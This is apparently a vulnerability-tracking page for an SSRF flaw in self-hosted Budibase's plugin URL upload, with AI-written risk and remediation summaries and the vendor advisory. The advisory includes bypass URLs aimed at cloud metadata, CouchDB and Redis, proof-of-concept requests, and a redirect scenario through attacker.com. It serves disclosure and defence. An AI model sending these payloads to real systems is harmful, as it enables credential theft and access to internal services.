Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Global Builder credentials
-
DeliveryCraft POST /api/plugin with malicious URL containing .tar.gz substring
-
ExploitBypass substring validation
-
ExecutionTrigger fetchWithBlacklist to internal target
-
PersistRetrieve cloud metadata or internal service response
-
ImpactExtract credentials or data from error logs
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access with Global Builder role in Budibase-a low-privilege role routinely granted to developers on self-hosted instances. The plugin loading feature must be enabled (default configuration). For maximum impact via cloud metadata service or internal network access, the deployment must either: (A) have the BLACKLIST_IPS environment variable set to any value including empty string, triggering the chained bypass described in CVE-2026-45060 where the default SSRF blocklist is replaced with an empty list; or (B) rely on default SSRF protections but be vulnerable to HTTP redirect chains if fetchWithBlacklist does not re-validate redirect targets (redirect handling behavior explicitly stated as pending verification in the advisory). Exploitation is limited to GET-only HTTP semantics-no write operations to internal services are possible via this path. The vulnerability does NOT affect unauthenticated users or standard application users without Builder privileges. Cloud-hosted Budibase instances managed by the vendor may have additional controls not present in self-hosted deployments, potentially limiting exposure in multi-tenant environments. |
| Impact | Real-world risk is HIGH when assessed across multiple signals despite moderate standalone CVSS 5.4. The Changed Scope (S:C) in the chained CVSS 7.7 vector indicates boundary crossing from application to infrastructure layer, a critical elevation that justifies prioritization. Attack complexity is LOW (AC:L) with no user interaction required (UI:N), making this trivially exploitable by any authenticated Global Builder-a low-privilege role routinely granted on self-hosted instances. The vulnerability chains with CVE-2026-45060 (BLACKLIST_IPS bypass) to achieve full SSRF against cloud metadata services and internal networks, enabling IAM credential theft and database access. Publicly available exploit code exists with Docker-based PoC (poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py), lowering attacker skill requirements. However, exploitation requires authenticated access (PR:L), reducing exposure compared to unauthenticated RCE. No CISA KEV listing suggests exploitation is not yet widespread in the wild, but the presence of PoC code and detailed technical writeup increases likelihood of future attacks. EPSS score unavailable for definitive probability assessment. The vendor's own test suite confirms they understood the SSRF risk on this code path, yet shipped with only substring validation-suggesting systemic secure development lifecycle gaps. Self-hosted deployments are the affected population; cloud-hosted Budibase instances may have additional controls not reflected in the vulnerability report. Key conflict: the description emphasizes 'default blacklist active' provides protection in standalone scenarios, but also notes redirect-based bypasses may circumvent this-verification of redirect handling in fetchWithBlacklist is explicitly stated as pending, introducing uncertainty about real-world defense effectiveness even with default configuration. Defenders should assume both chained and standalone variants are exploitable until redirect behavior is confirmed. |
| Exploit ScenarioDerived | An attacker with Global Builder credentials (low-privilege development role) crafts a plugin upload request to POST /api/plugin with the URL http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz. The substring check passes because '.tar.gz' appears in the path. If the deployment has BLACKLIST_IPS set to any value (triggering the chained CVE-2026-45060 bypass), the empty blacklist allows the request to reach AWS IMDS, retrieving IAM credentials that appear in error logs when the zlib decompressor fails on the JSON response. Alternatively, without the blacklist bypass, the attacker hosts a malicious plugin at http://attacker.com/plugin.tar.gz that returns a 302 redirect to http://192.168.1.1/admin. If fetchWithBlacklist does not re-validate redirect targets (pending verification per the advisory), the internal admin panel is accessed. Publicly available PoC code (poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py with Docker Compose setup) demonstrates the attack against a test environment with CouchDB and HTTP server targets. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Server-Side Request Forgery in Budibase self-hosted instances allows authenticated Global Builder users to bypass SSRF protections via trivial substring manipulation in plugin URL uploads. The vulnerability exploits a flawed validation check that accepts any URL containing '.tar.gz' anywhere in the string, enabling requests to internal cloud metadata services (AWS IMDS at 169.254.169.254), CouchDB, Redis, and private network ranges when chained with the BLACKLIST_IPS bypass (CVE-2026-45060) or via HTTP redirect chains. CVSS 7.7 (High) with Changed Scope indicates cross-boundary impact from application to infrastructure layer. Vendor-released patch available in version 3.35.10 per GitHub security advisory GHSA-xh5j-727m-w6gg. EPSS data not available; no CISA KEV listing at time of analysis. Publicly available exploit code exists in researcher's GitHub repository with Docker-based proof-of-concept.
RemediationAI
Upgrade to Budibase version 3.35.10 or later, which addresses the substring bypass vulnerability. The vendor advisory is available at https://github.com/Budibase/budibase/security/advisories/GHSA-xh5j-727m-w6gg. For Docker deployments, update the image tag to budibase/budibase:3.35.10 or newer and restart containers. If immediate patching is not feasible, implement the following compensating controls with noted trade-offs: (1) Restrict Global Builder role assignment to only fully trusted administrators-this reduces attack surface but limits platform usability for development teams. (2) Deploy network-level egress filtering to block outbound HTTP/HTTPS from Budibase application containers to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 169.254.0.0/16) and cloud metadata endpoints (169.254.169.254/32)-effective defense but requires firewall rule changes and may break legitimate plugin downloads from internal repositories. (3) Disable the plugin URL upload feature entirely by removing the POST /api/plugin endpoint via reverse proxy rules or custom middleware-eliminates attack vector but prevents plugin installation from external sources. (4) Set PLUGIN_ALLOWED_HOSTS environment variable to a strict allowlist of trusted plugin repository domains (if this feature exists in patched versions)-provides defense-in-depth but requires ongoing maintenance of the allowlist. (5) Monitor application logs for plugin upload attempts with suspicious URL patterns (internal IPs, cloud metadata endpoints, redirect chains) and alert security teams-detective control only, does not prevent exploitation. Note that simply configuring BLACKLIST_IPS does NOT mitigate the vulnerability if users follow the redirect-based attack scenario described in the advisory. The recommended fix (per advisory text) includes replacing the substring check with proper URL parsing, enforcing HTTPS-only scheme, validating .tar.gz as a file extension (not substring), and re-checking blacklists after HTTP redirects.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in Budibase's plugin loading mechanism, specifically the URL validation layer in packages/server/src/api/controllers/plugin/url.ts. The code performs only a substring check (url.includes('.tar.gz')) before passing URLs to fetchWithBlacklist() for HTTP retrieval. This violates secure URL parsing principles defined in CWE-918 (Server-Side Request Forgery) and CWE-184 (Incomplete List of Disallowed Inputs). The Node.js-based backend uses node-fetch with default redirect: 'follow' behavior, meaning external URLs can redirect to internal targets without re-validation. The affected component is part of Budibase's low-code platform architecture (npm package budibase), which provides a plugin system for extending application functionality. The vulnerability occurs in the TypeScript controller layer that bridges HTTP API endpoints to internal file system and object storage operations. Package identifier: pkg:npm/budibase, affecting versions ≤ 3.34.11. The developer team's own unit test (objectStore.spec.ts:393) explicitly tests SSRF protection against AWS IMDS endpoints, demonstrating awareness of the attack surface but incomplete coverage of bypass vectors.
Know when Redis gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
1. Summary
| Field | Value |
|---|---|
| Title | SSRF via trivial .tar.gz substring bypass in Plugin URL upload |
| Product | Budibase (Self-Hosted) |
| Version | ≤ 3.34.11 (latest stable as of 2026-03-30) |
| Component | packages/server/src/api/controllers/plugin/url.ts |
| Vulnerability Type | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs |
| Severity | High (chained) / Medium (standalone) |
| CVSS 3.1 Score (chained) | 7.7 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| CVSS 3.1 Score (standalone) | 5.4 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
| Attack Vector | Network |
| Privileges Required | Low (Global Builder role) |
| User Interaction | None |
| Affected Deployments | All Budibase instances with plugin loading enabled (default) |
---
2. Description
The Plugin URL upload endpoint (POST /api/plugin) validates the submitted URL with a single substring check: url.includes(".tar.gz"). Any URL containing .tar.gz anywhere in the string - in the path, query string, or fragment - passes this check. The URL then proceeds directly to fetchWithBlacklist() with no further validation of host, scheme, or path.
Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the BLACKLIST_IPS bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default node-fetch behavior with redirect: 'follow').
The developer team's own test suite (objectStore.spec.ts:393) tests that downloadTarballDirect passes through fetchWithBlacklist - confirming they're aware of the SSRF risk on this path. The .tar.gz substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.
---
3. Root Cause Analysis
3.1 Trivial substring-based URL validation
File: packages/server/src/api/controllers/plugin/url.ts
// Lines 7-19
export async function urlUpload(url: string, name = "", headers = {}) {
if (!url.includes(".tar.gz")) {
// ← ONLY validation: any URL with ".tar.gz" anywhere passes
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
const path = await downloadUnzipTarball(url, name, headers)
// ↑ url is passed directly - no host allowlist, no scheme check, no path normalization
try {
return await getPluginMetadata(path)
} catch (err) {
deleteFolderFileSystem(path)
throw err
}
}Problem: url.includes(".tar.gz") checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that .tar.gz appears as an actual file extension at the end of the path.
3.2 Bypass examples
| Attack URL | includes(".tar.gz") | Actual request target |
|---|---|---|
http://169.254.169.254/.tar.gz | ✅ passes | AWS IMDS |
http://127.0.0.1:4005/_session.tar.gz | ✅ passes | CouchDB |
http://10.0.0.1:6379/.tar.gz | ✅ passes | Redis |
http://attacker.com/file.tar.gz?x=http://internal/ | ✅ passes | Redirect to internal |
http://internal-host/.tar.gz#fragment | ✅ passes | Internal service |
3.3 Developer awareness of SSRF risk on this path
File: packages/backend-core/src/objectStore/tests/objectStore.spec.ts
// Line 393
it("uses fetchWithBlacklist in downloadTarballDirect", async () => {
downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp")
// ← team explicitly tests that IMDS is blocked via blacklist
})The team knows this code path can reach IMDS. They rely on fetchWithBlacklist as the defense - but never tested the .tar.gz substring bypass that trivially routes around it at the URL validation layer.
3.4 Authorization model
| Operation | Endpoint | Required Permission |
|---|---|---|
| Plugin URL upload | POST /api/plugin | Global Builder |
Key insight: The plugin endpoint is behind globalBuilderRoutes, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.
---
4. Impact Analysis
4.1 Confidentiality - High (chained) / Low (standalone)
When chained with [001] (BLACKLIST_IPS bypass):
- AWS/GCP/Azure IMDS (
169.254.169.254) - IAM credentials, service account tokens - CouchDB (
127.0.0.1:4005) - application databases, user records - Redis (
127.0.0.1:6379) - session tokens - Internal network services (
172.16.0.0/12,10.0.0.0/8)
Standalone (with default blacklist active):
- Open redirect chains - if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on
node-fetchredirect behavior and whetherfetchWithBlacklistre-checks the redirected URL.
4.2 Integrity - None (GET-only path)
The plugin URL upload uses GET-only semantics via fetchWithBlacklist. No write operations to internal services via this path.
4.3 Availability - None
No service disruption.
4.4 Scope Change (chained)
Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass.
---
5. Proof of Concept
> Verification status: Code-level confirmed. End-to-end Docker test pending. > PoC files are ready: poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py + docker-compose.yml
5.1 Environment Setup
# poc/004_plugin_url_ssrf/docker-compose.yml
services:
budibase:
image: budibase/budibase:latest
environment:
SELF_HOSTED: "1"
BLACKLIST_IPS: ""
# ← enables chained SSRF (001)
JWT_SECRET: "poc_jwt_secret"
BB_ADMIN_USER_EMAIL: "poc@budibase.com"
BB_ADMIN_USER_PASSWORD: "pocPassword123!"
ports: ["10000:10000"]
victim:
image: python:3.11-alpine
command: python -m http.server 8888cd poc/004_plugin_url_ssrf
docker-compose up -d
python3 poc_004_plugin_url_ssrf.py --target http://localhost:100005.2 Step 1 - Bypass the .tar.gz check with a crafted URL
POST /api/plugin HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<builder-session-cookie>
Content-Type: application/json
{
"source": "URL",
"url": "http://victim:8888/.tar.gz",
"name": "poc-test"
}The url.includes(".tar.gz") check passes because .tar.gz appears in the path. The URL http://victim:8888/.tar.gz is not a valid tarball - but the string check doesn't know that.
5.3 Step 2 - Expected response (SSRF confirmed)
With blacklist active (default config):
{ "message": "Failed to import plugin: URL is blocked or could not be resolved safely." }With BLACKLIST_IPS="" (chained with 001):
{ "message": "Failed to import plugin: incorrect header check" }The "incorrect header check" error (zlib decompressor receiving HTTP response headers) proves the request reached victim:8888. The .tar.gz substring check was bypassed, and the HTTP fetch completed.
5.4 Additional bypass payloads tested (code-level only)
| URL | Check bypass | Intended target |
|---|---|---|
http://169.254.169.254/.tar.gz | ✅ | AWS IMDS |
http://127.0.0.1:4005/_session.tar.gz | ✅ | CouchDB |
http://127.0.0.1:6379/.tar.gz | ✅ | Redis |
http://attacker.com/real.tar.gz (redirects to http://10.0.0.1/) | ✅ | Internal via redirect |
---
6. Attack Scenarios
Scenario A - Chained with [001]: AWS IMDS credential theft
1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)
2. Builder user sends:
POST /api/plugin { "source": "URL", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz" }
3. Budibase fetches IMDS endpoint → receives IAM credentials JSON
4. zlib decompressor fails on non-gzip content → error response
5. Depending on logging config, credential material may appear in logs or error detailsScenario B - Standalone: Open redirect SSRF (default config)
1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin
2. Builder user submits: POST /api/plugin { "source": "URL", "url": "http://attacker.com/plugin.tar.gz" }
3. node-fetch follows redirect (default: redirect: 'follow')
4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached
5. Requires verification of redirect handling in fetchWithBlacklistScenario C - CouchDB data access (chained)
1. BLACKLIST_IPS="" enables internal access
2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz
3. CouchDB responds with JSON list of databases
4. zlib error confirms HTTP request reached CouchDB---
7. Affected Code Paths
POST /api/plugin (Global Builder auth)
│
▼
packages/server/src/api/controllers/plugin/index.ts
│ source === "URL" → urlUpload(url, name, headers)
▼
packages/server/src/api/controllers/plugin/url.ts:8
│ if (!url.includes(".tar.gz")) throw ← ONLY check - trivially bypassed
│ → "http://169.254.169.254/.tar.gz" passes
▼
packages/server/src/utilities/fileSystem/plugins.ts
│ downloadUnzipTarball(url, name, headers)
▼
packages/backend-core/src/objectStore/objectStore.ts:703
│ downloadTarballDirect(url, path, headers)
▼
packages/backend-core/src/objectStore/utils/outboundFetch.ts
│ fetchWithBlacklist(url, options)
│ isBlacklisted(hostname)
│
├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓
│
└─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗---
8. Recommended Fixes
Fix 1 (High): Replace substring check with URL parsing and extension validation
// packages/server/src/api/controllers/plugin/url.ts
import { URL } from "url"
export async function urlUpload(url: string, name = "", headers = {}) {
let parsed: URL
try {
parsed = new URL(url)
} catch {
throw new Error("Invalid plugin URL.")
}
// Only allow https:// scheme
if (parsed.protocol !== "https:") {
throw new Error("Plugin URL must use HTTPS.")
}
// Require the path to end with .tar.gz (not just contain it anywhere)
if (!parsed.pathname.endsWith(".tar.gz")) {
throw new Error("Plugin must be compressed into a gzipped tarball (.tar.gz).")
}
const path = await downloadUnzipTarball(url, name, headers)
// ...
}Fix 2 (High): Re-check blacklist after redirect in fetchWithBlacklist
// packages/backend-core/src/objectStore/utils/outboundFetch.ts
// Current: only checks the original URL before fetch
// Fix: also intercept redirects and re-check each redirect target
const response = await nodeFetch(url, {
...options,
redirect: "manual", // don't auto-follow
})
if (response.status >= 300 && response.status < 400) {
const redirectUrl = response.headers.get("location")
if (redirectUrl) {
const redirectHost = new URL(redirectUrl).hostname
if (await isBlacklisted(redirectHost)) {
throw new Error("URL is blocked or could not be resolved safely.")
}
// recursively fetch (with depth limit)
}
}Fix 3 (Medium): Add hostname allowlist option for plugin sources
Provide a PLUGIN_ALLOWED_HOSTS variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist.
---
9. References
- CWE-918: Server-Side Request Forgery (SSRF) - https://cwe.mitre.org/data/definitions/918.html
- CWE-184: Incomplete List of Disallowed Inputs - https://cwe.mitre.org/data/definitions/184.html
- OWASP SSRF Prevention Cheat Sheet - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
- Related finding: [001]
BLACKLIST_IPSbypass -report/raw/001_ssrf_blacklist_bypass.md - Developer SSRF awareness test:
packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393
Executive ViewAI
Budibase self-hosted instances below version 3.35.10 are vulnerable to Server-Side Request Forgery (SSRF) attacks that allow authenticated Global Builder users to access internal cloud metadata services and private network resources, potentially exposing AWS credentials, database credentials, and other sensitive infrastructure data. Organizations using Budibase for multi-tenant or sensitive workloads face risk of lateral movement and credential compromise if deployed in cloud environments.
Vendor-released patch: Budibase version 3.35.10. If immediate patching is not possible: (1) Restrict Global Builder role to only essential users and audit current assignments; (2) Implement network-level egress filtering to block outbound connections to 169.254.169.254 and private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) from Budibase application servers; (3) Disable plugin URL upload functionality until patched; (4) Monitor application logs for requests containing '.tar.gz' in URL parameters or redirect chains.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Privilege escalation to root in the LiteSpeed User-End cPanel Plugin (versions 2.3 through before 2.4.5) lets attackers
UAF in Redis 8.2.1 via crafted Lua scripts by authenticated users. EPSS 12.4%. Patch available.
It was discovered, that redis, a persistent key-value database, due to a packaging issue, is prone to a (Debian-specific
Memory Corruption was discovered in the cmsgpack library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10,
Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user
Redis before 2.8.21 and 3.x before 3.0.2 allows remote attackers to execute arbitrary Lua bytecode via the eval command.
A buffer overflow in Redis 3.2.x prior to 3.2.4 causes arbitrary code execution when a crafted command is sent. Rated cr
Authenticated remote code execution in OpenC3 COSMOS (Ruby gem 'openc3' versions 5.1.0 through 7.2.1) lets any logged-in
Code injection in OneUptime monitoring via custom JS monitor using vm module. PoC and patch available.
RESP protocol command injection in Predis, the popular PHP client for Redis and Valkey, affects versions 3.0.0-RC1 throu
In applications using jfinal 4.9.08 and below, there is a deserialization vulnerability when using redis,may be vulnerab
An issue was found in Apache Airflow versions 1.10.10 and below. Rated critical severity (CVSS 9.8), this vulnerability
EUVD-2026-32586
GHSA-xh5j-727m-w6gg
NVD
CVE.org
EPSS
Exploit-DB